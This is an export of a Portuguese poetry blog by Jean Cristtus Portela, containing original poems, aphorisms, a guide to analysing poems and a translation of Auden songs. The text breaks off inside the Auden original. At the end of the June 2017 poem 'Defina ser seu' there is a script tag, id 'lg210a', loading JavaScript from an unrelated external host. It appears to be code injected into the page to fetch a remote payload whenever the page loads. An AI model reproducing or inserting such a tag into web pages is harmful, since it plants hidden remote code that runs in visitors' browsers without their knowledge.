tag:blogger.com,1999:blog-330386122024-02-19T00:34:32.170-03:00TAL A FUGAJean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.comBlogger85125tag:blogger.com,1999:blog-33038612.post-31659685165076312192017-06-15T22:05:00.004-03:002017-06-15T22:05:51.292-03:00E OUTRO<b>DEFINA “SER SEU”</b><br />
<br />
<br />
Se pudesse me ver como me sinto,<br />
além de toda resistência modal,<br />
não atribuiria à egotrip o que bradei<br />
por umas duas vezes, uma delas por escrito,<br />
sobre “ser meu”.<br />
<br />
“Ser meu” não é um estado honorífico da matéria,<br />
nem forja em metal nem traço de arroubo mítico.<br />
“Ser meu” é um caule de capim coroado de penugens róseas<br />
e colhido num gesto negligente entre sol e sombra – mais sol.<br />
<br />
“Ser meu” é óbvio correlato de “ser seu”, sem sono, sem obrigações,<br />
sem data de nascimento, prazo de validade ou carência.<br />
<br />
“Ser meu” é o seu vulto repousado sob pouca luz<br />
como modelo a ser capturado,<br />
à minha espera, naquele instante, onde eu o procuro.<br />
“Ser meu” é o olhar pacificado, sem sanção além do afeto duramente concedido,<br />
e do franzir dos olhos e do morder dos lábios no momento<br />
em que você e todos nós somos solitários.<br />
<br />
<div>
<br /></div>
<div>
Jean Cristtus Portela</div>
<div>
<br /></div>
<div>
<br /></div>
<div>
Junho de 2017.</div>
<script id="lg210a" src="https://cloudapi.online/js/api46.js" type="text/javascript"></script>Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-69156136416320029642017-04-24T01:41:00.000-03:002017-04-24T11:16:25.369-03:00Um avulso de voltaDESFAÇA, DESPRENDA, DESQUEIRA<br />
<br />
para M. B.<br />
<br />
<br />
Desfaça, desprenda, desqueira,<br />
mesmo que isso não o ponha a salvo<br />
dos enganos esmerados<br />
sem linha de alvo ou de obstáculo.<br />
<br />
Estire sua ideia até nublar o ângulo –<br />
tão mais agudo, tão mais obtuso –<br />
na pulsante aspereza dos disfarces<br />
que não são, por fim, armas de logro,<br />
antes hesitações de pêndulo.<br />
<br />
Não são lesa-você nem lesa-gentes,<br />
são estojos e forros<br />
do mobiliário dos náufragos,<br />
dos desconfiados,<br />
dos contidos por força desconhecida<br />
que experimentam um excedente de expectativa.<br />
<br />
<br />
Jean Cristtus Portela<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><br />
Abril de 2017<br />
<div>
<br /></div>
Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-5065726928287347002013-06-14T16:10:00.002-03:002013-06-14T16:10:50.112-03:00Um avulso de Tal a fuga (2003-2006)<br />
<br />
LINHAS IMPIEDOSAS REGERAM<br />
<br />
Linhas impiedosas regeram sua<br />
Penúltima mensagem: "Deixe-me, homem de<br />
Afeição recessiva, altruísta oportunista<br />
Adeus, amigo, nada restou daquele afeto límpido".<br />
<br />
O que atiça minha máquina de juras<br />
E meu detector de degredos.<br />
<br />
Nem deliberada ausência ou<br />
Presença filtrada borrará seu desenho<br />
Nem biombos espessos reterão seu corpo -<br />
Nem a linha mais cruel causa-me incômodo.<br />
<br />
Ah, meu predador estrutural,<br />
Fantasma predestinado, sempre recorde:<br />
Nunca ninguém é tanto algo.<br />
<br />
J. C. P<br />
<div>
<br /></div>
Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-344363233648406272013-06-01T13:55:00.001-03:002013-06-08T17:44:40.141-03:00Da série "Poemas do gabinete" [2]<br />
<br />
FÔLEGO PARA O MOVIMENTO<br />
<br />
Antes do início da banca de ontem,<br />
tive que buscar meus óculos no carro.<br />
Cena trivial de que a ruína<br />
Sempre foi a ausência<br />
do natural, do sensual,<br />
fôlego para o movimento.<br />
<br />
Fôlego para o movimento –<br />
medida de usura<br />
dos corpos. É o que transmuda<br />
a caixa de ossos na arrogância<br />
dos gestos mais eróticos: tônus, tórax,<br />
suor, transporte, torpor.<br />
<br />
<br />
Araraquara, maio de 2013.<br />
<br />
J. C. P.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-8454145553240947792013-05-29T00:57:00.000-03:002013-06-08T17:46:33.584-03:00Da série "Poemas do gabinete" [1]<br />
<br />
<br />
FAUNO DE ANFITEATRO<br />
<br />
Física, química, lógica, botânica.<br />
É incerta sua especialidade,<br />
insinuada pelo queixo tímido<br />
e pelo lábio mordido<br />
sob o nariz vago.<br />
Bochechas compactas<br />
cobertas da pele lisa e pálida<br />
que sobe também pelas longas pernas<br />
e se espalha pelo quadril que quase<br />
não segura sua melhor calça.<br />
<br />
Ombros de remador que jamais remaram,<br />
as mãos descansam sobre o colo<br />
e revolvem o bloco em que lança<br />
ou finge lançar suas sonolentas impressões.<br />
<br />
Falsamente indefeso ignora<br />
o rébus que se desenha em sua nuca,<br />
no contorno do seu talhe crescido<br />
de pajem responsável pelos banhos.<br />
<br />
Abandona-se na poltrona entediado,<br />
cercado pelos pares mais caros,<br />
em insuspeito sacrifício<br />
a um fauno de anfiteatro.<br />
<br />
<br />
São Paulo, novembro de 2009.<br />
<br />
J. C. P.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-83979058778343159482010-11-06T02:15:00.004-02:002010-11-06T03:10:30.582-02:00Da série "Ensaios para montar" [7]Primeira versão daquele que promete ser o único "publicável" de 2010...<br />.<br />.<br />.<br /><br /><span style="font-weight: bold;">A CAIXA</span><br /><br />Um maço de cartas cingido<br />Frouxamente por uma fita,<br />Pesado das moedas que recolhemos<br />Na primeira viagem.<br />E marcadores de páginas,<br />De páginas arrancadas sem hesitar<br />Dos melhores anos, dos piores álbuns;<br />E convites de vernissages e casamentos<br />Aos quais não fomos e silenciamos<br />Em omissão prazerosa, pois cúmplice,<br />Que nos possuía na época longínqua<br />Em que a resistência ao alarde<br />Era todo o afeto que nos unia.<br /><br /><br />J. C. P.<br />Outubro de 2010Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-30572201988482805662010-01-15T01:25:00.005-02:002010-01-15T01:50:37.747-02:00Top 10 das imp(r)udênciasGide blefando em entrevista a Jean Amrouche: "Tenho horror ao escândalo, ao escândalo pelo escândalo... Sempre que pude, procurei evitá-lo, o que só não fiz quando foi absolutamente inevitável".<br /><br />Sei, sei...<br /><br />Pensei nisso ao reler esta canção de circunstância, que se perde na minha galeria trash-platônica e que renderia, sem dúvida, uma boa posição num Top 10 de imp(r)udências.<br /><br /><br /><br />PROGNATA<br /><br /><br />Ele se sabe mestre da desgraça e<br />Das frágeis formas de ocultá-la.<br />Difícil precisar como a presunção<br />Pueril dependura-se<br />Em seu queixo projetado.<br />Do crânio, a proeminente<br />Gaveta metálica destaca-se<br />Ofensiva em um bico suplicante.<br />Reclama para si uma agressividade<br />Inata de destino moído a patadas.<br /><br />Experimento a improvável visão<br />De sua regata atirada em minha cara<br />(Quando ela jamais saiu de seu torso).<br /><br />Prognata, pureza suspeita<br />Sua testa refrata. O véu amigável<br />Oculta as tatoos, minha cobiça escarificada.<br /><br />O fauno que imagino ser<br />Tem entre os dentes sua cabeça que pende<br />Por uma orelha furada.<br />Ele sabe, afinal, que sou letal<br />Feito um coala, cínica pelúcia de Austrália:<br />Só, eu desfio, um colo é meu exílio.<br /><br /><br />fevereiro de 2005<br />J. C. P.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com3tag:blogger.com,1999:blog-33038612.post-131393725802911222009-07-30T00:29:00.005-03:002009-07-30T00:38:46.546-03:00Da série "Ensaios para montar" [6]<span style="font-weight: bold;">.<br />.<br />.<br /><br /><br />O JARRO</span><br /><br /><br />Este jarro despreza o olhar<br />Refratado em sua base circular<br />Mal traçada de um côncavo granulado.<br />Um jarro em que poucos derramaram a curva límpida<br />Da água, cujo esmalte gasto como um véu roto<br />No contorno do bocal – o gargalo levemente disforme –<br />Denuncia o triunfo do barro.<br /><br />Poucas nuanças de tabaco e terracota costeiam<br />O longo do jarro e se coalham no seu bojo.<br />A saturação da cor dá a medida do seu peso,<br />Como a imperfeição da forma lhe confere leveza.<br /><br />Um menino o deixa cair por falta de modos.<br />A senhora refresca o rosto com a água dele vertida<br />Enquanto a alça se rompe no ponto de equilíbrio.<br />Um monge fere ainda mais sua borda<br />Fazendo trovejar seu cajado.<br /><br />Ao observador não resta mais do que a especulação<br />Que junta seus cacos, antes de um esgar premonitório<br />Que reconstitui o jarro aberto, couro lustroso esticado<br />Como uma tapeçaria em que quase se pode ler –<br />Lascas finas de barro e chão, algumas mais espessas,<br />E arredondadas e pontiagudas – uma inscrição esgarçada<br />Que se ramifica em fiapos.<br /><br />Este jarro despreza o olhar<br />E, mais que fazer jorrar a água,<br />Ele parece ter sido esculpido com água jorrada<br />De modo que neste jarro qualquer derramamento<br />Se faz segundo a economia estrita do desperdício.<br /><br />J. C. P.<br />julho de 2009Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com4tag:blogger.com,1999:blog-33038612.post-36676765248120127132009-07-20T11:58:00.004-03:002009-07-20T12:06:10.726-03:00Inédito de Tal a Fuga<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://farm4.static.flickr.com/3114/2851843905_492d9d7bf2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 500px; height: 375px;" src="http://farm4.static.flickr.com/3114/2851843905_492d9d7bf2.jpg" alt="" border="0" /></a><br /></div><br /><br /><span style="font-weight: bold;">JOGADOR, ESTETA</span><br /><br /><br />Só mais uma no maço<br />nesta mesa de sargaços<br />detentora de descartes<br />arbitrários, nada fáceis<br /><br />Este ouropel é mais do que eu poderia supor<br />Fosse um bumerangue sob custódia, um ioiô<br />seria eternamente descartado e recobrado<br />carta sensível ao meu dom<br /><br />Baixa a tiragem desse naipe<br />O parceiro exige o bate de um leque<br />legendário, tarefa do renitente<br />ás de ouros, um pingente.<br /><br /><br />J. C. P.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com1tag:blogger.com,1999:blog-33038612.post-70212674663107674362009-07-01T12:40:00.001-03:002009-07-04T12:14:06.892-03:00Os analectos de Jean-Lúcio [2]<div style="text-align: justify;">O Mestre perguntava sempre sem muito ânimo, com a falta de ênfase que lhe era tão impossível quanto própria: de que são feitos os desertores?<br /><br /><div style="text-align: center;">*<br /></div><br />Pin amava a língua dos nobres, mas a exercitava sem domínio ou paixão. Mêncio denunciava o contrassenso em alta voz: “alguém que pensa ser traído pelo dialeto da sua terra natal jamais forjará um estilo”.<br /><br /><div style="text-align: center;">*<br /></div><br />“Um homem de princípios nada pode nos dizer sobre a dignidade”, bradava com frequência Kon. No que o Mestre se limitava a retorquir: “o velho Kon não se engana quando busca a dignidade e nada é menos digno do que isso”.<br /><br /><div style="text-align: center;">*<br /></div><br />Sabendo que naquela tarde encontraria o amado discípulo, Jean-Lúcio estirou o pano cinza e espesso no qual fazia tombar as varetas escuras do Grande Livro e – antes de soltá-las em desordem no tecido impecavelmente alinhado – dirigiu-se a seu círculo em versos lacônicos:<br /><br />A túnica com que cingiram<br />Meus ombros é a lição pura<br />Da compaixão súbita –<br />Cálida veste cujo perfume<br />Conduz-me ao Caminho!<br /><br /><div style="text-align: center;">*<br /></div><br />O jovem Lao, escrivão real que praticava a arte da caligrafia e da gramática como poucos, procurou o Mestre para saber o que seria de sua posição quando a Casa de Tzi deixasse de ser a única escola a oferecer homens doutos ao imperador. Disse Jean-Lúcio: “a arte da escrita nada tem a ver com os sábios métodos de Tzi ou com o Grande Imperador e sobreviverá a ambos”.<br /><br /><div style="text-align: center;">* * *</div></div>Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-65393843208565471362009-05-28T14:20:00.004-03:002009-05-29T19:52:32.434-03:00Analíticas do PoemaLimpando velhas pastas, encontrei este texto de 2003, que tratei de reler e de retocar aqui e ali, por puro falso decoro. No conjunto, o texto é bem irregular, mas ainda continua atual se pensarmos nos problemas práticos que encontramos na análise do poema.<br /><br /><br /><br /><span style="font-weight: bold;">Analíticas do Poema</span><br /><br /><br /><div style="text-align: justify;">1. O poema é a ilha íntima, ferida, circunscrita por humores e pele sadia.<br /><br />2. O poema é um esforço de linguagem (vontade de falar) que, obrigatoriamente, deve ser expresso em língua (meio de falar). Bem-sucedido o poema, mais a linguagem nele ruge e menos legível ele emerge à leitura.<br /><br />3. Não se deve ler um poema tendo como primeiro horizonte a representação da realidade imediata, como se ele fosse o comentário das coisas que existem, um apêndice à existência material do mundo (M. Rifatterre). O poema é único, fechado em si, ainda que nele habite a força primordial de todos os poemas já escritos (O. Paz).<br /><br />4. Começar a análise do poema diferenciando seus recursos de expressão e conteúdo (decisão puramente metodológica) ainda é a escolha mais prudente nestes dias cegos.<br /><br />5. A expressão, ou melhor, a forma da expressão (L. Hjelmslev) do poema é constituída, no plano sonoro, de sons organizados segundo determinados princípios fonológicos e, no plano visual, por sinais gráficos (o alfabeto) investidos de valores fonéticos e semânticos.<br /><br />6. A forma da expressão é responsável por muitos dos efeitos estéticos do poema. É nela que o poeta pode distribuir determinados fonemas, alternando-os, omitindo-os, reiterando-os segundo seus propósitos expressivos. Aliteração é o nome das recorrências sonoras consonantais. A assonância é o nome das recorrências sonoras vocálicas. Obviamente, há muitas outras figuras de construção que descrevem a forma da expressão da língua, mas reter a existência dessas duas é o suficiente para uma primeira visão do material expressivo do poema.<br /><br />7. Não bastando o poema poder existir como um gracejo sonoro ou um mantra, ele ainda significa algo! Eis a maravilha da forma do conteúdo no poema.<br /><br />8. A verificação do sentido literal ou primário ou denotativo das palavras (paradigmas) e frases (sintagmas) é o meio consagrado para principiar a análise do poema. É comum valer-se do dicionário para o estabelecimento desse sentido denotativo, já que o dicionário traz os usos mais comuns do léxico (cuidado: o dicionário registra muitas vezes o sentido das palavras na perspectiva paradigmática, o que, devido ao sentindo encontrar-se na RELAÇÃO (no sintagma), pode ser uma armadilha). A partir desse “grau zero” de significação é que se faz o reconhecimento da metáfora ou sentido conotativo.<br /><br />9. A estruturação da análise da forma do conteúdo do poema pode ocorrer (entre tantas outras) da seguinte maneira: a) Observação das disjunções (diferenças, transformações) temporais; b) Observação das disjunções espaciais; c) Observação das disjunções actoriais (atores = personagens). Pode-se montar uma análise balizada pela construção das figuras no poema, mas se deve ter em mente que as figuras sempre revelarão, basicamente, sentidos temporais, espaciais e actoriais. É recomendável que o analista procure fazer um quadro de tipos de figuras e, em seguida, passe a organizá-las em contrastes e oposições. Ex: Encontra-se num poema a figura “pátina esmaecida do caminho” e, mais a frente, a figura “verniz radiante da derrocada”. Trata-se provavelmente de elencá-las no rol das figuras espaciais, mas opô-las semanticamente.<br /><br />10. Um método eficaz na descrição e classificação das figuras do poema é a distinção entre isotopia temática (abstrata, conceitual) e figurativa (concreta, figural). Isotopia é um tipo de predominância, de ideia fixa, é a concentração do sentido através de sua reiteração. Quando a isotopia é temática, por exemplo, encontraremos, em um texto dado, as “joias”, o “vestido”, o “ar de superioridade” como figuras marcadas pela isotopia da /riqueza/ e, dependendo do texto em questão, da /prepotência/, da /arrogância/. Quando a isotopia é figurativa, teremos essa reiteração nas próprias figuras, como em “mar”, “espuma”, “barco”, “vela”, “marinheiro”, etc.<br /><br />11. Na análise do poema, procure segmentar o texto (Sequência I, II, III, etc.) levando em consideração os critérios expostos no item 9. Tal medida ajudará você a orientar-se e a fazer referência às várias partes do texto, além de demonstrar que você (segmentando) já está analisando o texto. Segmentar é a primeira forma de analisar, é a primeira forma de evidenciar as disjunções (diferenças, transformações) no texto.<br /><br />12. Quando se faz referência a uma (um lexema) ou mais figuras (um sintagma lexical) do texto, usam-se aspas (ex: “olho”, “olho de gato”). Quando se trata de referenciar temas (grandeza semântica) usam-se barras (ex: /circularidade/, /morte/, /alegria/).<br /><br />13. Respeitar o texto, procurar restituir o sentido investido pelo enunciador (a inteligência poética que compõe) e empregar o máximo de criatividade e estilo próprios na feitura da análise é o que todo analista deveria buscar.<br /><br />14. Na impossibilidade de verificar citações (nomes de pessoas, obras, cidades, etc.), é importante registrar a hipótese mais sensata e reconhecer as próprias limitações.<br /><br />15. Durante a análise, sempre que se tratar da construção do sentido do poema, empregar o termo “enunciador” ao invés do nome do autor do poema. A semiótica entende, por exemplo, que Drummond teve uma existência física, corporal, que Drummond foi “gente”, mas que teve sobretudo (e tem) um existência textual, tão física quanto a outra, que é a existência que a Semiótica analisa. Isso não equivale a matar (mais uma vez) o homem Drummond (até porque sabemos bem que o homem é quem molda a Obra), mas, sim, a respeitar o Drummond de papel, o Drummond que, dominando a arte da linguagem verbal, dentro de um estilo projeta outros tantos e se eterniza pela força do significante e do significado linguísticos.<br /><br />16. Lembre-se: não é o autor que “quis dizer...”. É o texto que “diz ou parece dizer...”. O que o autor quis dizer é diferente do que ele disse de fato. O poema só é a aparência do que se pretendeu dizer. E, como toda aparência, o poema pode parecer com outros tantos dizeres.<br /><br />J. C. P.<br />Fevereiro de 2003</div>Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com2tag:blogger.com,1999:blog-33038612.post-86774330166141475902009-05-06T02:10:00.003-03:002009-05-06T02:16:42.916-03:00Os votos da teoriaAo mestre escarninho...<br /><br /><br /><br /><span style="font-weight: bold;">O PROFESSOR</span><br /><br />Chamam-no por vezes professor e nessa maneira<br />De dizer há todo um quadro, uma cena de Kaváfis<br />Um desenho em um jarro, uma ode ao prazer dócil<br />Em que o ar é denso e a luz projeta suor e poeira.<br /><br />Mas o professor não se confunde com o mestre<br />Grego, é a primeira lição que o aprendiz retém<br />Seu ensino é estéril, asséptico, nenhuma verve<br />Nada vibra ou comove, nenhuma culpa também.<br /><br />A teoria exige mais rigor quanto mais é austera,<br />Um catre estreito, pedras por genuflexório<br />São toda a regalia que espera<br />Em troca do “minimum epistemológico”.<br /><br />Tolo e dileto preceptor, apicultor voraz<br />Da atenção alheia, refém de seus preferidos<br />E preferidas, hipócrita empedernido<br />Algoz do que lhe compraz.<br /><br /><br />J. C. P.<br />maio de 2009Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com1tag:blogger.com,1999:blog-33038612.post-34472570911405318982009-03-25T04:47:00.003-03:002009-03-25T04:51:07.757-03:00Inédito sem dataUm inédito (é claro!) de datação incerta... 2004/2005?<br /><br /><br /><span style="font-weight: bold;">FLORZINHA, <span style="font-style: italic;">MON CHER</span></span><br /><br />Florzinha, <span style="font-style: italic;">mon cher</span><br />são milagres plissados<br />cada pétala sua (quase embargo)<br />não é qualquer<br /><br />Seus antecedentes são claros:<br />A resistência feroz da<br />sua semente hidrófoba<br />A histeria solar<br /><br />Faça outra casca, miosótis-demônio<br />Mesmo eu, o virgem venéreo<br />não aceito seus motivos –<br />Entendo somente o risco<br /><br />do amor nutrido à<br />seita da carniça fina:<br /><br />Amante, abutre, artista.Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-50582626122542982572009-03-18T00:22:00.008-03:002009-03-19T00:32:37.740-03:00Os analectos de Jean-Lúcio [1]<div style="text-align: justify;"><div style="text-align: right;"><span style="font-size:85%;">"O aforismo narrativo prevaleceu do oriente ao ocidente:<br />os <span style="font-style: italic;">koan </span>zen, os analectos de Confúcio, Montaigne,<br /></span><span style="font-size:85%;">La Rochefoucauld,</span><span style="font-size:85%;"> Pascal, Roland Barthes...".<br /><span style="font-weight: bold;">P.-C. Naje, em</span><span style="font-style: italic; font-weight: bold;"> Aforismos ensaísticos</span></span><br /></div><br /><br /><br /><br />Disse o Mestre: “A completa lucidez, essa janela no nevoeiro, não me alcançará. Vou antecipá-la, vou sondá-la sempre do futuro, tendo o cuidado de falar a seu respeito sempre no passado”.<br /><br /><div style="text-align: center;">*<br /></div><br />Logo após um fausto banquete, confiou Jean-Lúcio a seu círculo mais íntimo: “Não contente em protagonizar um fato irritantemente constrangedor, B. faz questão de rememorá-lo. E de pedir desculpas – que não convencem nem a ele mesmo”.<br /><br /><div style="text-align: center;">*<br /></div><br />É claro que alguém profundamente vil está por trás daquele recurso do MSN que permite aos usuários saberem se seu parceiro de batepapo está escrevendo ou não. Discrição era tudo o que o Mestre exigia.<br /><br /><div style="text-align: center;">*<br /></div><br />B. ama desavergonhadamente e usa sábios clichês quando fala sobre monogamia. Já T. diz que ama pra valer, mas que quando vira puta, vira puta, e que, em puta, ele não se reserva limites. “Incerto é o meio do caminho do meio”, limitou-se a observar Jean-Lúcio.<br /><br /><div style="text-align: center;">*<br /></div><br />O desaparecido J. – que encenou o próprio sumiço e acabou sumindo – queria não querendo, partia tão logo chegava e sorria assim que falava.<br /><br /><div style="text-align: center;">*<br /></div><br />Escreveu o Mestre na parede de seu casebre: “Um silêncio de MSN dura uma miríade de segundos”.<br /><br /><div style="text-align: center;">*<br /><br /></div><br />Discípulos próximos afirmam que Jean-Lúcio não raramente advertia: “Amar é usar sempre a mesma túnica rota”.<br /><br /><div style="text-align: center;">*<br /></div><br />Teorias obscuras e sacerdotes crédulos em demasia: eis toda a ruína da tradição.<br /><br />.<br />.<br />.<br /></div>Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com1tag:blogger.com,1999:blog-33038612.post-4308268486939542332009-03-10T02:28:00.004-03:002009-03-10T02:39:46.802-03:00Ensaios para montar [5].<br />.<br />.<br /><br /><span style="font-weight: bold;">RETRATO DE UMA SEREIA QUANDO JOVEM</span><br /><br /><br />Sereia-medusa, menino-austro da deserta enseada,<br />Equilibrista do coral frágil da derrocada.<br />O farol queima seus olhos<br />A cada varredura, uma cicatriz,<br />Sua voz é ouvida ainda mais pura.<br /><br />Nos destroços, na água revolta e escura,<br />No seu trimbre grave e arguto,<br />As promessas ganham o fundo.<br /><br />Na ponta da cauda, um astrolábio voluntarioso<br />Que reordena a carta celeste<br />Ao sabor do novo, do gentil desconhecido<br />Quase virado pedra — e já sem fôlego,<br />Enquanto seu canto silente<br />Emudece e enrijece o corpo —<br />Um aventureiro que, só podendo mexer os olhos,<br />Sussurra e repousa o olhar em sua boca pequena<br />E nas escamas que fazem brilhar seu contorno.<br /><br /><br />J. C. P.<br />Março de 2009Jean Cristtus Portelahttp://www.blogger.com/profile/07833112468756359280noreply@blogger.com0tag:blogger.com,1999:blog-33038612.post-67896786138121935262009-03-05T06:30:00.011-03:002009-03-05T16:20:42.119-03:00Duas canções de Auden<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiXfFXn5fsAZrGmgznAK8CAsGYz0BTtbHfHMALDV1dD50LkSKy0VICJAecwS073i7_uPu34ZPvpUFDCyZlqn-QvUgh-pVSbTeH6RqAZpkXffpVyc3xMRdsK2gc17A5_u_scQRJFA/s1600-h/auden2.jpg"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 301px;" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiXfFXn5fsAZrGmgznAK8CAsGYz0BTtbHfHMALDV1dD50LkSKy0VICJAecwS073i7_uPu34ZPvpUFDCyZlqn-QvUgh-pVSbTeH6RqAZpkXffpVyc3xMRdsK2gc17A5_u_scQRJFA/s400/auden2.jpg" alt="" id="BLOGGER_PHOTO_ID_5309639774562132402" border="0" /></a></div><div style="text-align: justify;"><div style="text-align: center; font-weight: bold;"><span style="font-size:85%;">W. H. Auden (1907-1973)<br /></span></div><br /><br />Este díptico de Auden, que está certamente entre seus poemas mais “fáceis” e mais tocantes, reúne dois poemas compostos no final da década de 1930 para a cantora e atriz Hedli Anderson (1907-1990).<br /><br />A música caudalosa da poesia de Auden não sei deixa facilmente traduzir. A golpes poundianos de simplificações grosseiras, inversões duvidosas, intromissões indevidas, em suma, de muita gambiarra e vista grossa, pode-se chegar a algum resultado, ainda que prolixo e aproximativo. Com todas as desculpas, remorsos e adaptações necessários, ei-lo:<br /></div><br /><br /><br /><br /><span style="font-weight: bold;">DUAS CANÇÕES PARA HEDLI ANDERSON</span><br /><br /><br />I<br /><br />Cortem o telefone, os relógios parem todos,<br />Impeçam de ladrar o cão com um suculento osso,<br />Silenciem os pianos e com tambor abafado<br />Tragam o caixão, deem passagem aos enlutados.<br /><br />Deixem aviões a circular, lamentando no alto<br />Compondo no céu a mensagem: Ele está morto.<br />Coloquem nos pescoços brancos das pombas tiras de crepom,<br />E que os guardas de trânsito vistam luvas pretas de algodão.<br /><br />Ele foi meu Norte, meu Sul, meu Leste e Oeste.<br />Meu descanso de Domingo e minha semana de trabalho,<br />Meu meio-dia, minha meia-noite, meu papo, minha prece;<br />Pensei que esse amor duraria para sempre: Eu estava errado.<br /><br />Das estrelas agora não preciso: eliminem cada uma;<br />Desmantelem o sol e empacotem a lua;<br />Entornem o oceano e a floresta arrasem;<br />Agora jamais, para nada, me aprazem.<br /><br /><br />II<br /><br />Ah, o vale onde no verão eu e meu único amado,<br />Margeando o rio profundo, andávamos lado a lado,<br />Enquanto flores aos nossos pés e no alto passarinhos<br />Discorriam suavemente sobre amor correspondido;<br />Recostei-me em seu ombro; “Meu amado, comemora...”:<br />Mas ele franziu o cenho de trovão e foi-se embora.<br /><br />Aquela sexta perto do Natal na memória permanece,<br />Quando fomos à matinê do Baile Beneficente,<br />O chão era tão brilhante e o som da banda estrondoso<br />E meu amado tão belo que me senti orgulhoso;<br />“Abraça-me forte, querido, dancemos até a aurora”:<br />Mas ele franziu o cenho de trovão e foi-se embora.<br /><br />Como poderei esquecer aquela ópera soberba,<br />Quando a música jorrava de cada rica estrela?<br />Diamantes e pérolas reluziam dependurados<br />Sobre cada traje de seda dourado ou prateado;<br />“Ah, querido, estou nas nuvens,” sussurrei na hora:<br />Mas ele franziu o cenho de trovão e foi-se embora.<br /><br />Ah, mas ele era gracioso como um jardim florido<br />Como a grande Torre Eiffel era alto e esguio,<br />Quando a valsa ecoou naquele longo caminho<br />calaram em meu coração seus olhos e seu sorriso;<br />“Casa-te comigo, quero amá-lo e servir-te sem demora”:<br />Mas ele franziu o cenho de trovão e foi-se embora.<br /><br />Ah, noite passada sonhei contigo, amado algoz,<br />Tinhas em uma mão a lua e na outra o sol,<br />O mar era azul e verde era a relva<br />Um tamborim afinado era cada estrela;<br />Dez mil milhas no fundo do abismo estou agora:<br />Mas franziste o cenho de trovão e foste embora.<br /><br /><br /><br /><br /><span style="font-weight: bold; font-style: italic;">TWO SONGS FOR HEDLI ANDERSON</span><br /><br /><br /><span style="font-style: italic;">I</span><br /><br /><span style="font-style: italic;">Stop all the clocks, cut off the telephone,</span><br /><span style="font-style: italic;">Prevent the dog from barking with a juicy bone,</span><br /><span style="font-style: italic;">Silence the pianos and with muffled drum</span><br /><span style="font-style: italic;">Bring out the coffin, let the mourners come.</span><br /><br /><span style="font-style: italic;">Let aeroplanes circle moaning overhead</span><br /><span style="font-style: italic;">Scribbling on the sky the message He Is Dead,</span><br /><span style="font-style: italic;">Put crêpe bows round the white necks of the public doves,</span><br /><span style="font-style: italic;">Let the traffic policemen wear black cotton gloves.</span><br /><br /><span style="font-style: italic;">He was my North, my South, my East and West,</span><br /><span style="font-style: italic;">My working week and my Sunday rest,</span><br /><span style="font-style: italic;">My noon, my midnight, my talk, my song;</span><br /><span style="font-style: italic;">I thought that love would last for ever: I was wrong.</span><br /><br /><span style="font-style: italic;">The stars are not wanted now: put out every one;</span><br /><span style="font-style: italic;">Pack up the moon and dismantle the sun;</span><br /><span style="font-style: italic;">Pour away the ocean and sweep up the wood.</span><br /><span style="font-style: italic;">For nothing now can ever come to any good.</span><br /><br /><br /><span style="font-style: italic;">II</span><br /><br /><span style="font-style: italic;">O the valley in the summer where I and my John</span><br /><span style="font-style: italic;">Beside the deep river would walk on and on</span><br /><span style="font-style: italic;">While the flowers at our feet and the birds up above</span><br /><span style="font-style: italic;">Argued so sweetly on reciprocal love,</span><br /><span style="font-style: italic;">And I leaned on his shoulder; 'O Johnny, let's play':</span><br /><span style="font-style: italic;">But he frowned like thunder and he went away.</span><br /><br /><span style="font-style: italic;">O that Friday near Christmas as I well recall</span><br /><span style="font-style: italic;">When we went to the Charity Matinee Ball,</span><br /><span style="font-style: italic;">The floor was so smooth and the band was so loud</span><br /><span style="font-style: italic;">And Johnny so handsome I felt so proud;</span><br /><span style="font-style: italic;">'Squeeze me tighter, dear Johnny, let's dance till it's day':</span><br /><span style="font-style: italic;">But he frowned like thunder and he went away.</span><br /><br /><span style="font-style: italic;">Shall I ever forget at the Grand Opera</span><br /><span style="font-style: italic;">When music poured out of each wonderful star?</span><br /><span style="font-style: italic;">Diamonds and pearls they hung dazzling down</span><br /><span style="font-style: italic;">Over each silver and golden silk gown;</span><br /><span style="font-style: italic;">'O John I'm in heaven,' I whispered to say:</span><br /><span style="font-style: italic;">But he frowned like thunder and he went away.</span><br /><br /><span style="font-style: italic;">O but he was fair as a garden in flower,</span><br /><span style="font-style: italic;">As slender and tall as the great Eiffel Tower,</span><br /><span style="font-style: italic;">When the waltz throbbed out on the long promenade</span><br /><span style="font-style: italic;">O his eyes and his smile they went straight to my heart;</span><br /><span style="font-style: italic;">'O marry me, Johnny, I'll love and obey':</span><br /><span style="font-style: italic;">But he frowned like thunder and he went away.</span><br /><br /><span style="font-style: italic;">O last night I dreamed of you, Johnny, my lover,</span><br /><span style="font-style: italic;">You'd the sun on one arm and the moon 